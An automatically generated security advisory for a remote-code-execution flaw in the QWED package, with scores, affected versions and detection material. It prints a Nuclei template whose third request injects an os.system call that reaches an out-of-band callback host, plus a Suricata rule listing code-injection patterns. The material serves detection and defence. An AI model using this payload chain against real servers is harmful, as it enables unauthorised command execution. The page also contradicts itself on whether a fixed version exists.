VULNpocalypse

CVE-2026-55585: QWED: Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

QWED is open-source AI verification infrastructure for deterministic verification of LLM outputs, tool calls, code, schemas, and agent state before production execution. Prior to 5.1.2, the qwed package passes caller-controlled math expressions directly to SymPy parse_expr() without restricted global_dict and local_dict namespaces, allowing Python eval() to resolve builtins and execute arbitrary Python code in the API server process. In src/qwed_new/api/main.py, POST /verify/math is protected by get_current_tenant but accepts any valid tenant API key, reads the expression field, applies only a cosmetic re.sub(r’(\d)(()’, r’\1*\2’, expression) normalization, and passes the result to parse_expr(). In src/qwed_new/core/batch.py, POST /verify/batch sends math items through batch_service.create_job(), stores item.query verbatim, and _verify_item() passes VerificationType.MATH input to parse_expr() without sanitization. The default-enabled POST /auth/signup endpoint allows anyone to create a standard tenant account, POST /auth/api-keys issues an x-api-key, and either vulnerable path can then be used to read or write files, modify data, execute operating system commands, terminate the service, and compromise other tenants in a shared deployment. This issue is fixed in version 5.1.2.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-08-25).

Weakness: CWE-94: Improper Control of Generation of Code (‘Code Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: no. Technical impact: total.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-65580, GHSA-q27q-98j4-9pfv

VEDAS cluster: VEDAS:DEERDANCER

Exploit Observer links 5 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (5)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

4 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.008
low predicted chance of attack
VEDAS
0.989
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
QWED-AI qwed-verificationversion < 5.1.2Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: pypi qwed.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

QWED - Code Injection (parse_expr RCE)

QWED before 5.1.2 passes caller-controlled math expressions directly to SymPy parse_expr() without restricted global_dict/local_dict namespaces, so Python eval() resolves builtins and executes arbitrary code in the API server process. The default-enabled POST /auth/signup lets anyone create a tenant account, POST /auth/api-keys issues an x-api-key, and POST /verify/math then evaluates the attacker-supplied expression, giving remote code execution.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (POST /auth/signup, POST /auth/api-keys, POST /verify/math); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using regex, status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-55585.yaml
Show the template (96 lines)
yaml
id: CVE-2026-55585

info:
  name: "QWED - Code Injection (parse_expr RCE)"
  author: vedas-arpsyndicate
  severity: high
  description: |
    QWED before 5.1.2 passes caller-controlled math expressions directly to SymPy parse_expr()
    without restricted global_dict/local_dict namespaces, so Python eval() resolves builtins and
    executes arbitrary code in the API server process. The default-enabled POST /auth/signup lets
    anyone create a tenant account, POST /auth/api-keys issues an x-api-key, and POST /verify/math
    then evaluates the attacker-supplied expression, giving remote code execution.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-55585&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=qwed&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-55585
    cwe-id: CWE-94
  metadata:
    verified: false
    max-request: 3
  tags: cve,cve2026,qwed,rce,oast,intrusive

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /auth/signup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{randstr}}@{{randstr}}.io","password":"Vedas_{{randstr}}1!","organization_name":"{{randstr}}"}

    matchers:
      - type: word
        part: body
        words:
          - "access_token"
        internal: true

    extractors:
      - type: regex
        name: jwt
        part: body
        group: 1
        internal: true
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /auth/api-keys HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{jwt}}

        {"name":"{{randstr}}"}

    matchers:
      - type: word
        part: body
        words:
          - '"key"'
        internal: true

    extractors:
      - type: regex
        name: apikey
        part: body
        group: 1
        internal: true
        regex:
          - '"key"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /verify/math HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-api-key: {{apikey}}

        {"expression":"__import__('os').system('nslookup {{interactsh-url}}')"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

CVE-2026-55585.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-55585 QWED parse_expr Code Injection via /verify/math expression. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-55585 QWED parse_expr Code Injection via /verify/math expression"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/verify/math"; nocase; fast_pattern; http.request_body; content:"expression"; nocase; pcre:"/\x22expression\x22\s*:\s*\x22[^\x22]*(__import__|__builtins__|os\.system|subprocess|\beval\(|\bexec\()/i"; classtype:web-application-attack; reference:cve,CVE-2026-55585; reference:url,https://www.exploit.observer/?keyword=CVE-2026-55585&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=qwed&match=exact; sid:1095600; rev:1;)

CVE-2026-55585.rules on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.